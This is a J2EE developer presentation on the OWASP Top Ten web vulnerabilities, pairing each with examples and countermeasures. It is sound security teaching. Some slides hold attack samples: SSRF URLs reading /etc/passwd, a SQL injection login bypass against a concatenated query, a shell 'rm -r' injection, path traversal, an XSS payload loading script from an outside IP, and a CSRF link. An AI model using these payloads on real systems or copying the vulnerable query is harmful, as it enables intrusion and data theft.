

Top Ten Web Application Vulnerabilities in J2EE

Vincent Partington
and
Eelco Klaver
Xebia



Introduction

- Open Web Application Security Project is an open project aimed at identifying and preventing causes for unsecure software.
- OWASP identified the ten most experienced vulnerabilities in web applicaties.
- This presentation describes these vulnerabilities:
 - Own experiences or publicly known examples.
 - Description of the problem.
 - How to prevent these flaws in J2EE applications?
- Target audience: J2EE developers and architects.



#1: Unvalidated Input - Experience

- Intended:

```
.../ImageServlet?url=http://backendhost/images/bg.gif
```

- But also possible:

```
.../ImageServlet?url=http://weblogic/console
```

```
.../ImageServlet?url=file:///etc/passwd
```


- With this “simple” application port scan were indirectly possible.

#1: Unvalidated Input - Description

- Attacker can tamper with any part of HTTP request
 - url, querystring, headers, cookies, form fields, hidden fields
- Common input tampering attacks include:
 - forced browsing, command insertion, cross site scripting, buffer overflows, format string attacks, SQL injection, cookie poisoning, hidden field manipulation.
- Possible causes
 - Input is only validated at the client
 - Filtering without canonicalization
- Opens the door to other vulnerabilities

#1: Unvalidated Input - Description

- Easier than you might imagine with LiveHTTPHeaders




#1: Unvalidated Input - Measures

- All input should be validated at server with central library:
 - Request parameters, cookies, headers
- Parameters should be validated against positive specs:
 - Data type (string, integer, real, etc...)
 - Minimum and maximum length
 - Whether null is allowed
 - Whether the parameter is required or not
 - Numeric range
 - Specific patterns (regular expressions)
- Perform code review
- Don't "misuse" hidden fields
 - Store in session or retrieve values with each request

#2: Buffer Overflows


- Hm, this one sounds familiar; not only in web applications.
- Description
 - More input feeded in application than what fits in its buffer, causing malicious code to be executed.
 - This shouldn't be a problem in Java, should it?
 - OutOfMemoryError
 - Backend systems
 - Native code
- Measures
 - Avoid using native code



#3: Injection Flaws - Experiences

- LoginModule used following SQL query:

```
"SELECT * FROM users
WHERE user = '"' + username + '"'
AND password = '"' + hashedPassword + '"'
```



Log in

Please enter your username and password

User name

Password

Login

- Can easily be cracked by:

username: <any existing username>' OR 'a' = 'a

password: *any password that passes validation rules*

- Results in the following String:

```
SELECT * FROM users WHERE user = 'admin' OR 'a' =
'a' AND password = 'secret'
```

#3: Injection Flaws - Description

- Anywhere an interpreter is used:
 - Script languages such as Perl, Python and JavaScript.
 - Shells for executing applications like sendmail (e.g. “; rm -r”).
 - Calls to the operating system via system calls.
 - Database systems: SQL injection (e.g. 1=1).
 - Path traversal (e.g. ../../etc/passwd).
- Typical dangers:
 - Runtime.exec()
 - String concatenated SQL
 - File in- and output streams

#3: Injection Flaws - Measures


- Avoid accessing external interpreters wherever possible, use language specific libraries instead:
 - Avoid `Runtime.exec()`, send mail via JavaMail API.
- Encode values before sending to backends:
 - Single quotes in SQL statements.
 - Comma's, parenthesis, etc. in LDAP statements.
- Even better: always use JDBC PreparedStatements.
- Run application with limited privileges.
- All output, return codes and error codes from the call should be checked.



#4: Cross Site Scripting (XSS) - Example

- Website of online bank showed value in request parameter literally in the browser.
- In a tricked URL a piece of javascript was inserted in the page that showed a fake page:

```
"><script  
language=javascript  
src="http://211.175.  
176.179/sun/sun.js">  
</script>
```



#4: Cross Site Scripting (XSS) - Description

- Attacker sends malicious code to end-user's browser
 - Output is sent to browser without validation
 - Browser trusts the code.
- Malicious script can
 - Access any cookies, session tokens, or other sensitive information retained by your browser.
 - Rewrite the content of the HTML page.
- Two categories
 - Stored, e.g. database, message forum, visitor log.
 - Reflected, e.g. error message, search result via mail.
- Examples
 - Session hijacking
 - Phishing

#4: Cross Site Scripting (XSS) - Measures

- Input validation
- Encode all output (HTML Encode or JSTL c:out):

```
< &lt;          > &gt; ;  
(  &#40;      )  &#41; ;  
#  &#35;      &  &#38; ;
```

- Truncate input to reasonable length.
- If your application needs to show HTML that has been entered by a user, you could filter all `<SCRIPT>` tags, but...

#5: Improper Error Handling - Example

- With wrong username, the following message was shown:

Invalid credentials, please try again.

Enter username and password

User name

Password

Login

- With a wrong password, the following message was shown:

Invalid credentials, please try again

Enter username and password

User name

Password

Login

#5: Improper Error Handling - Description

- Error messages can reveal implementation details that should never be revealed giving a hacker clues on potential flaws.
- Examples
 - Stack traces, database dumps, error codes .
 - JSP compilation errors containing paths.
 - Inconsistent error messages (e.g. access denied v.s. not found).
 - Errors causing server to crash (denial of service).
- Incorrectly encoded wrong input can cause XSS attack.

#5: Improper Error Handling - Measures

- Define a clear and consistent error handling mechanism
 - Short meaningful error message to the user (e.g. with error id).
 - Log any information for the system administrator (could refer to error id).
 - No useful information to an attacker (don't show stack trace or exception message. Both visible and hidden!).
- When error displays wrong input, encode this to prevent XSS attacks.
- Precompile all JSPs before deployment to production.
- Modify default error pages (404, 401, etc.).
- Perform code review.



#6: Broken Access Control - Example

- Website of Christine le Duc didn't have access control on the page for showing an order: a link in a newsarticle on NU.nl lead to an open order.
- Order id's were easy to guess.
- Orders could even be updated.



ANMELDEN WINKELWAGEN ORDERHISTORIE CATALOGUS MAATTABEL CLUBLEDUC DATING

Christine le Duc thuiswinkel waarborg

Orderhistorie

OrderCode: [REDACTED] **Datum:** 17-03-2002 21:32
Betaalwijze: Creditcard **OrderStatus:** Wachtend

Naar: [REDACTED] **Van:** Christine le Duc bv
[REDACTED] Postbus 98
[REDACTED] Rotterdam 1130 AB, Volendam
Netherlands Netherlands

Aantal	Product	Stukprijs	Subtotaal
1	Cadeau Verpakking	2,25	2,25
1	Herenstring met cockring	33,58	33,58
99	tarzan II anal white tarzan II anal white	95,00	9.405,00
Verzendkosten			€ 4,50
Totaal			€ 9.445,33

Klantenservice:
Phone: +31 (0)299 367411
Fax: +31 (0)299 369151
Email: info@christineleduc.nl

#6: Broken Access Control - Description

- Content or functions are not effectively secured for authorized people only.
- Examples:
 - Insecure Id's
 - Forced browsing past access control checks
 - Path traversal
 - File permissions
 - Client side caching
- Possible causes:
 - Authentication is only performed at first screen.
 - Authorization is only done on URL, not on content.
 - Home-grown decentralized authorization schemes.

#6: Broken Access Control - Measures

- Check access at every request, not only when getting the first request.
- Don't implement your own access control, use J2EE CMS or some other framework like Acegi.
 - Declarative instead of programmatic.
 - Centralized access control.
- **N.B.:** J2EE Web security by default allows access to all URL's.
- Optionally extend with instance-based access control.
- HTTP headers and meta tags to prevent caching.
- Use OS security to prevent access to server files.

#7: Broken Authentication and Session Management - Experience

- Application with own login mechanism for the administrative pages.
- Didn't use a session cookie, but encoded username and password in de URL:
`https://host/admin/overview.jsp?password=0c6ccf51b817885e&username=11335984ea80882d`
- This URL could easily be captured with a XSS attack.

#7: Broken Authentication and Session Management - Description

- Weak authentication and session management.
- Examples:
 - Easily guessable usernames and passwords.
 - Flawed credential management functions, such as password change, forgot my password and account update.
 - “Shoulder surfing”.
 - Hijack an active session, assuming identity of user.
- HTTP is stateless, so no standard session management:
 - URL rewriting with JSessionID
 - (Session) cookies

#7: Broken Authentication and Session Management - Measures

- Use strong authentication mechanisms:
 - Password policies (strength, use, change control, storage).
 - Secure transport (SSL).
 - Carefully implement forgotten password functionality.
 - Remove default usernames.
- Problems with session mechanisms:
 - Session cookie must be “secure”.
 - Session IDs should not be guessable.
- Don't implement your own mechanism, but use what is provided by your application server.



#8: Insecure Storage - Experience

- Daily backups were stored on a portable harddisk that was “safely” stored by the administrator at home.
- The data was not encrypted; after a burglary or loss all data would be on the street.



#8: Insecure Storage - Description

- Sensitive data should be stored in a secure way.
- Examples:
 - Failure to encrypt critical data
 - Insecure storage of keys, certificates, and passwords
 - Poor sources of randomness
 - Poor choice of algorithm
 - Attempting to invent a new encryption algorithm
 - Failure to include support for encryption key changes and other required maintenance procedures

#8: Insecure Storage - Measures

- Only store information that is absolutely necessary
 - Request users to re-enter each time.
 - Store a hash value instead of encrypted value.
- Don't allow any direct channels to the backend:
 - No direct access to database or files.
- Don't store data in files in the document root of your web server.
- Don't implement your own encryption algorithm, but use JCE (Java Cryptography Extension).
 - Store public and private keys safely in keystores.

#9: Insecure Configuration Management - Description

- Your web application runs in an environment that should be configured securely:
 - Application server and web server.
 - Backend systems, like database-, directory- and mail servers.
 - Operating system and network infrastructure.
- Most common vulnerabilities:
 - Unpatched versions with known security flaws.
 - Unnecessary default, backup, or sample files
 - Open administrative services.
 - Default accounts with default passwords.
 - Misconfigured SSL certificates
- Gap between developers and administrators.

#9: Insecure Configuration Management - Measures

- Create hardening guideline for each server configuration
 - Configuring all security mechanisms
 - Turning off all unused services
 - Setting up roles, permissions, and accounts, including disabling all default accounts or changing their passwords
 - Logging and alerts
- (Semi) automatic configuration process.
 - Using tools like Ant and Ghost.
- Stay up to date:
 - Monitor and apply latest security vulnerabilities published
 - Update security configuration guideline
 - Regular vulnerability scanning from both internal and external perspectives

#10: Denial of Service - Experience

- Application retrieved a lot of information from backend content management systems.
- One request on the front-end resulted in three requests at the same back-end.


#10: Denial of Service - Description

- Web applications are susceptible to a denial of service, because it is hard to detect the difference between ordinary traffic and an attack.
- Easy to generate a lot of load.
- Examples:
 - Limited resources can easily be the target: bandwidth, database connections, disk storage, CPU, Memory, Threads.
 - Also limited to a particular user, e.g. user lockout or change password.
 - Unhandled exceptions.

#10: Denial of Service - Measures

- Avoid requests that result on heavy system load:
 - CPU: heavy queries, JDBC connections.
 - Memory disk space: large POST or HttpSession data.
 - Definitely for anonymous users.
- Test your application under heavy load.
- Make use of caching to restrict database access.
- Think carefully about lockout or password change mechanisms.

Bonus



#11: Cross-site Request Forgery - Example

- Orkut is a website for managing networks of friends and colleagues, like LinkedIn.

- A lot of actions in Orkut take place by clicking on icons with URLs like:

```
http://www.orkut.com/
```

```
addFriend.do?friend=attacker@hotmail.com
```

- Opening this URL by an authenticated person is possible through a XSS attack, but also with hidden IFRAME, etc.

- Result: a lot of friends in a short time.



#11: Cross-site Request Forgery - Description

- Name looks like Cross-Site Scripting, but totally different:
 - XSS misuses the trust of the user in a web application.
 - CSRF misuses the trust of the web application in the user.
- Forging the enactor and making a request appear to come from a trusted site user
 - Sometimes called session riding.
- Examples
 - Trick a user into making a request by placing a link in an image tag.
 - Accept user input from trusted and authenticated users yet do not verify the location from which the data is coming .

#11: Cross-site Request Forgery - Measures

- Use GET for queries:
 - Easy to bookmark for later.
 - Can be sent via email to a colleague or friend.
- Use POST for updates:
 - Can't be bookmarked or sent by email.
 - Can't be reloaded accidentally.
 - More difficult with XSS attack.
- Some frameworks support this difference:
 - Struts not by default.
 - Spring Web MVC supports it: SimpleFormController, WebContentInterceptor.
- Use a timestamp and encryption in own links.

Conclusion

- An overview of the most common vulnerabilities, but only the minimum.
- Look further than the symptoms.
- Security should be an integral part of your development:
 - Requirements
 - Design
 - Code
 - Test
- Most important secure coding principles:
 - Never trust input from the user.
 - Never present more information than necessary.
 - Test how your application performs under heavy load.

More information

- **OWASP top ten:**
<http://www.owasp.org/documentation/topten.html>
- **Cross-site Request Forgery:**
http://en.wikipedia.org/wiki/Cross_site_request_forgery
- **W3C advisory about GET vs. POST:**
<http://www.w3.org/2001/tag/doc/whenToUseGet.html>
- **George Guninski:**
<http://www.guninski.com/>
- **Xebia:**
<http://www.xebia.com>

